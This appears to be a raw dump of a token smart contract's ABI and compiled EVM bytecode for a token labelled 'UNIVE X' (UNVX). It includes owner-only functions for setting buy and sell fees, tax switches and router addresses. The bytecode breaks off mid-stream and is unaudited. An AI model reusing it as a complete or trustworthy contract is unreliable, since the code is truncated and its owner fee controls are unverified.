"inputs":[{"internalType":"uint8","name":"feePurchaseHolder_","type":"uint8"},{"internalType":"uint8","name":"feePurchaseBurn_","type":"uint8"},{"internalType":"uint8","name":"feePurchaseLiquidity_","type":"uint8"}],"name":"setFeePurchase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"feeSaleHolder_","type":"uint8"},{"internalType":"uint8","name":"feeSaleBurn_","type":"uint8"},{"internalType":"uint8","name":"feeSaleLiquidity_","type":"uint8"}],"name":"setFeeSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"address_","type":"address"},{"internalType":"bool","name":"isStatus","type":"bool"}],"name":"setRewardStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"routerAddress_","type":"address"}],"name":"setRouterAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enable","type":"bool"}],"name":"setTaxEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"holderThreshold_","type":"uint256"},{"internalType":"uint256","name":"transactionThreshold_","type":"uint256"},{"internalType":"uint256","name":"liquidityThreshold_","type":"uint256"},{"internalType":"uint256","name":"rewardThreshold_","type":"uint256"}],"name":"setThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapV2Pair_","type":"address"}],"name":"setUniswapV2Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transactionThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555066b1a2bc2ec50000600a556611c37937e08000600b556000600c55600a600d60006101000a81548160ff021916908360ff1602179055506005600d60016101000a81548160ff021916908360ff1602179055506002600d60026101000a81548160ff021916908360ff1602179055506003600d60036101000a81548160ff021916908360ff160217905550600f600d60046101000a81548160ff021916908360ff160217905550600a600d60056101000a81548160ff021916908360ff1602179055506002600d60066101000a81548160ff021916908360ff1602179055506003600d60076101000a81548160ff021916908360ff1602179055506000600e556000600f55600060105560006011556501d1a94a200060125564174876e80060135564e8d4a5100060145564174876e8006015556001601660006101000a81548160ff02191690831515021790555064e8d4a51000601755348015620001be57600080fd5b506000620001d16200044560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600a54601b6000620002866200044560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160196000620002da6200044560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003d6620003b96200044560201b60201c565b6000806001806200044d60201b62002e3d1790949392919060201c565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000786565b600033905090565b8460050160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156200058d57828560010160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818560020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808560030160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200077f565b60018560050160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828560010160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818560020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808560030160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555084600001805490508560040160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600001849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5050505050565b6152f580620007966000396000f3fe6080604052600436106103035760003560e01c806370a0823111610190578063a9059cbb116100dc578063d22432b611610095578063dd62ed3e1161006f578063dd62ed3e14610ba9578063e9c41dd114610be6578063f2fde38b14610c11578063f77f2f2e14610c3a5761030a565b8063d22432b614610b1a578063d880f04614610b43578063db0b6cc514610b6c5761030a565b8063a9059cbb146109e4578063b6b55f2514610a21578063bdbbee3814610a4a578063c968808614610a87578063ca48284914610ab2578063cb4ca63114610add5761030a565b80638c0b5e22116101495780639666008d116101235780639666008d1461092c5780639daeac7614610955578063a29a60891461097e578063a457c2d7146109a75761030a565b80638c0b5e22146108ab5780638da5cb5b146108d657806395d89b41146109015761030a565b806370a08231146107ab578063715018a6146107e8578063779994f3146107ff5780637fa9d3001461082a57806382194416146108555780638312cd97146108805761030a565b806333d346e21161024f57806342966c68116102085780635ea4d29c116101e25780635ea4d29c146107015780636239e0421461072c5780636c665a8d146107555780636e947298146107805761030a565b806342966c6814610682578063497c3a9c146106ab57806349bd5a5e146106d65761030a565b806333d346e214610572578063385079ae1461059d57806339509351146105c857806339fb86c5146106055780633f00206d1461062e57806341cb87fc146106595761030a565b806321c0b342116102bc578063275ae99311610296578063275ae993146104c6578063308feec3146104f1578063313ce5671461051c5780633268cc56146105475761030a565b806321c0b3421461043557806323b872dd1461045e5780632748343c1461049b5761030a565b806306fdde031461030f578063095ea7b31461033a57806311c40b66146103775780631694505e146103a057806318160ddd146103cb57806320e82a26146103f65761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c63565b60405161033191906146c6565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c919061404b565b610c9c565b60405161036e9190614644565b60405180910390f35b34801561038357600080fd5b5061039e600480360381019061039991906141dd565b610cba565b005b3480156103ac57600080fd5b506103b5610e46565b6040516103c2919061465f565b60405180910390f35b3480156103d757600080fd5b506103e0610e6c565b6040516103ed9190614968565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190613f32565b610e76565b60405161042c939291906149dd565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190613f84565b610eac565b005b34801561046a57600080fd5b5061048560048036038101906104809190613fc0565b611800565b6040516104929190614644565b60405180910390f35b3480156104a757600080fd5b506104b0611b6e565b6040516104bd9190614a14565b60405180910390f35b3480156104d257600080fd5b506104db611b81565b6040516104e89190614a14565b60405180910390f35b3480156104fd57600080fd5b50610506611b94565b6040516105139190614968565b60405180910390f35b34801561052857600080fd5b50610531611ba4565b60405161053e9190614a14565b60405180910390f35b34801561055357600080fd5b5061055c611ba9565b6040516105699190614600565b60405180910390f35b34801561057e57600080fd5b50610587611bcf565b6040516105949190614a14565b60405180910390f35b3480156105a957600080fd5b506105b2611be2565b6040516105bf9190614a14565b60405180910390f35b3480156105d457600080fd5b506105ef60048036038101906105ea919061404b565b611bf5565b6040516105fc9190614644565b60405180910390f35b34801561061157600080fd5b5061062c6004803603810190610627919061400f565b611ca1565b005b34801561063a57600080fd5b50610643611d78565b6040516106509190614a14565b60405180910390f35b34801561066557600080fd5b50610680600480360381019061067b9190613f32565b611d8b565b005b34801561068e57600080fd5b506106a960048036038101906106a49190614151565b611eae565b005b3480156106b757600080fd5b506106c06120d6565b6040516106cd9190614a14565b60405180910390f35b3480156106e257600080fd5b506106eb6120e9565b6040516106f89190614600565b60405180910390f35b34801561070d57600080fd5b5061071661210f565b6040516107239190614968565b60405180910390f35b34801561073857600080fd5b50610753600480360381019061074e919061400f565b612115565b005b34801561076157600080fd5b5061076a6121ec565b6040516107779190614968565b60405180910390f35b34801561078c57600080fd5b506107956121f2565b6040516107a29190614968565b60405180910390f35b3480156107b757600080fd5b506107d260048036038101906107cd9190613f32565b6121fa565b6040516107df9190614968565b60405180910390f35b3480156107f457600080fd5b506107fd612243565b005b34801561080b57600080fd5b5061081461237d565b6040516108219190614968565b60405180910390f35b34801561083657600080fd5b5061083f612383565b60405161084c9190614a14565b60405180910390f35b34801561086157600080fd5b5061086a612396565b6040516108779190614644565b60405180910390f35b34801561088c57600080fd5b506108956123a9565b6040516108a29190614968565b60405180910390f35b3480156108b757600080fd5b506108c06123af565b6040516108cd9190614968565b60405180910390f35b3480156108e257600080fd5b506108eb6123b5565b6040516108f89190614600565b60405180910390f35b34801561090d57600080fd5b506109166123de565b60405161092391906146c6565b60405180910390f35b34801561093857600080fd5b50610953600480360381019061094e9190614087565b612417565b005b34801561096157600080fd5b5061097c600480360381019061097791906140d6565b612557565b005b34801561098a57600080fd5b506109a560048036038101906109a09190613f32565b6125f0565b005b3480156109b357600080fd5b506109ce60048036038101906109c9919061404b565b6126b0565b6040516109db9190614644565b60405180910390f35b3480156109f057600080fd5b50610a0b6004803603810190610a06919061404b565b61279b565b604051610a189190614644565b60405180910390f35b348015610a2d57600080fd5b50610a486004803603810190610a439190614151565b6127b9565b005b348015610a5657600080fd5b50610a716004803603810190610a6c9190614128565b612868565b604051610a7e9190614968565b60405180910390f35b348015610a9357600080fd5b50610a9c612880565b604051610aa99190614968565b60405180910390f35b348015610abe57600080fd5b50610ac7612886565b604051610ad49190614968565b60405180910390f35b348015610ae957600080fd5b50610b046004803603810190610aff9190613f32565b61288c565b604051610b119190614644565b60405180910390f35b348015610b2657600080fd5b50610b416004803603810190610b3c919061417a565b6128ac565b005b348015610b4f57600080fd5b50610b6a6004803603810190610b6591906141dd565b61294a565b005b348015610b7857600080fd5b50610b936004803603810190610b8e9190613f32565b612ad7565b604051610ba09190614644565b60405180910390f35b348015610bb557600080fd5b50610bd06004803603810190610bcb9190613f84565b612af7565b604051610bdd9190614968565b60405180910390f35b348015610bf257600080fd5b50610bfb612b7e565b604051610c089190614a14565b60405180910390f35b348015610c1d57600080fd5b50610c386004803603810190610c339190613f32565b612b91565b005b348015610c4657600080fd5b50610c616004803603810190610c5c919061400f565b612d3a565b005b6040518060400160405280600781526020017f554e49564520580000000000000000000000000000000000000000000000000081525081565b6000610cb0610ca9613174565b848461317c565b6001905092915050565b610cc2613174565b73ffffffffffffffffffffffffffffffffffffffff16610ce06123b5565b73ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d90614868565b60405180910390fd5b6064818385610d459190614ada565b610d4f9190614ada565b60ff1610610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8990614928565b60405180910390fd5b82600d60016101000a81548160ff021916908360ff16021790555081600d60026101000a81548160ff021916908360ff16021790555080600d60036101000a81548160ff021916908360ff160217905550600d60039054906101000a900460ff16600d60029054906101000a900460ff16600d60019054906101000a900460ff16610e1d9190614ada565b610e279190614ada565b600d60006101000a81548160ff021916908360ff160217905550505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b600080600080600080610e9387600161334790919063ffffffff16565b9250925092508282829550955095505050509193909250565b6000806000610ecc610ebc613174565b600161334790919063ffffffff16565b92509250925080610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0990614888565b60405180910390fd5b6015548211610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d906147c8565b60405180910390fd5b60004790506000600267ffffffffffffffff811115610f9e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610fcc5781602001602082028036833780820191505090505b509050308160008151811061100a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110ac57600080fd5b505afa1580156110c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e49190613f5b565b8160018151811061111e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061118530600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661317c565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b81526004016111e9959493929190614983565b600060405180830381600087803b15801561120357600080fd5b505af1158015611217573d6000803e3d6000fd5b50505050600082476112299190614b9c565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561129357600080fd5b505afa1580156112a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112cb9190613f5b565b73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156113c45760008111156113bf5761131230898361317c565b8773ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611358573d6000803e3d6000fd5b508773ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113b69190614968565b60405180910390a35b6117d4565b6000600267ffffffffffffffff811115611407577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156114355781602001602082028036833780820191505090505b509050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114a057600080fd5b505afa1580156114b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d89190613f5b565b81600081518110611512577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508781600181518110611587577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561162957600080fd5b505afa15801561163d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116619190613f5b565b73ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b81526004016116bd92919061461b565b602060405180830381600087803b1580156116d757600080fd5b505af11580156116eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170f91906140ff565b5061173d30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461317c565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de95836000848d426040518663ffffffff1660e01b81526004016117a0949392919061467a565b6000604051808303818588803b1580156117b957600080fd5b505af11580156117cd573d6000803e3d6000fd5b5050505050505b6117f66117df613174565b876000600180612e3d90949392919063ffffffff16565b5050505050505050565b600061180d84848461342c565b611815613174565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061189e5750601a6000611855613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a055781601c60006118b0613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611960906147e8565b60405180910390fd5b611a00611974613174565b8584601c6000611982613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361317c565b611b63565b81601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611a4f613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac290614848565b60405180910390fd5b611b6284611ad7613174565b84601c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611b21613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361317c565b5b600190509392505050565b600d60039054906101000a900460ff1681565b600d60079054906101000a900460ff1681565b6000600160000180549050905090565b600881565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60019054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b6000611c97611c02613174565b8484601c6000611c10613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c929190614a84565b61317c565b6001905092915050565b611ca9613174565b73ffffffffffffffffffffffffffffffffffffffff16611cc76123b5565b73ffffffffffffffffffffffffffffffffffffffff1614611d1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1490614868565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d60059054906101000a900460ff1681565b611d93613174565b73ffffffffffffffffffffffffffffffffffffffff16611db16123b5565b73ffffffffffffffffffffffffffffffffffffffff1614611e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfe90614868565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611eb6613174565b73ffffffffffffffffffffffffffffffffffffffff16611ed46123b5565b73ffffffffffffffffffffffffffffffffffffffff1614611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2190614868565b60405180910390fd5b6000601b6000611f38613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faf90614728565b60405180910390fd5b81600a6000828254611fca9190614b9c565b92505081905550600b54600a541015612018576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200f90614808565b60405180910390fd5b818103601b6000612027613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff16612085613174565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120ca9190614968565b60405180910390a35050565b600d60069054906101000a900460ff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b61211d613174565b73ffffffffffffffffffffffffffffffffffffffff1661213b6123b5565b73ffffffffffffffffffffffffffffffffffffffff1614612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890614868565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c5481565b600047905090565b6000601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61224b613174565b73ffffffffffffffffffffffffffffffffffffffff166122696123b5565b73ffffffffffffffffffffffffffffffffffffffff16146122bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b690614868565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b600d60029054906101000a900460ff1681565b601660009054906101000a900460ff1681565b60135481565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f554e56580000000000000000000000000000000000000000000000000000000081525081565b61241f613174565b73ffffffffffffffffffffffffffffffffffffffff1661243d6123b5565b73ffffffffffffffffffffffffffffffffffffffff1614612493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248a90614868565b60405180910390fd5b6000601860008381526020019081526020016000205411156124ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e190614828565b60405180910390fd5b60175482111561252f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612526906148e8565b60405180910390fd5b61253a30848461342c565b816018600083815260200190815260200160002081905550505050565b61255f613174565b73ffffffffffffffffffffffffffffffffffffffff1661257d6123b5565b73ffffffffffffffffffffffffffffffffffffffff16146125d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ca90614868565b60405180910390fd5b80601660006101000a81548160ff02191690831515021790555050565b6125f8613174565b73ffffffffffffffffffffffffffffffffffffffff166126166123b5565b73ffffffffffffffffffffffffffffffffffffffff161461266c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266390614868565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080601c60006126bf613174565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561277c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277390614948565b60405180910390fd5b612790612787613174565b8585840361317c565b600191505092915050565b60006127af6127a8613174565b848461342c565b6001905092915050565b600081116127fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f3906146e8565b60405180910390fd5b601754811115612841576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612838906148c8565b60405180910390fd5b61285361284c613174565b308361317c565b61286561285e613174565b308361342c565b50565b60186020528060005260406000206000915090505481565b60145481565b600b5481565b60196020528060005260406000206000915054906101000a900460ff1681565b6128b4613174565b73ffffffffffffffffffffffffffffffffffffffff166128d26123b5565b73ffffffffffffffffffffffffffffffffffffffff1614612928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291f90614868565b60405180910390fd5b8360128190555082601381905550816014819055508060158190555050505050565b612952613174565b73ffffffffffffffffffffffffffffffffffffffff166129706123b5565b73ffffffffffffffffffffffffffffffffffffffff16146129c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bd90614868565b60405180910390fd5b60648183856129d59190614ada565b6129df9190614ada565b60ff161115612a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1a90614928565b60405180910390fd5b82600d60056101000a81548160ff021916908360ff16021790555081600d60066101000a81548160ff021916908360ff16021790555080600d60076101000a81548160ff021916908360ff160217905550600d60079054906101000a900460ff16600d60069054906101000a900460ff16600d60059054906101000a900460ff16612aae9190614ada565b612ab89190614ada565b600d60046101000a81548160ff021916908360ff160217905550505050565b601a6020528060005260406000206000915054906101000a900460ff1681565b6000601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60049054906101000a900460ff1681565b612b99613174565b73ffffffffffffffffffffffffffffffffffffffff16612bb76123b5565b73ffffffffffffffffffffffffffffffffffffffff1614612c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0490614868565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7490614768565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612d42613174565b73ffffffffffffffffffffffffffffffffffffffff16612d606123b5565b73ffffffffffffffffffffffffffffffffffffffff1614612db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dad90614868565b60405180910390fd5b6000806000612dcf85600161334790919063ffffffff16565b9250925092508315158115151415612e1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1390614748565b60405180910390fd5b612e36858484876001612e3d90949392919063ffffffff16565b5050505050565b8460050160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f7b57828560010160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818560020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808560030160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061316d565b60018560050160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828560010160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818560020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808560030160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555084600001805490508560040160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600001849080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131e390614908565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561325c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161325390614788565b60405180910390fd5b80601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffff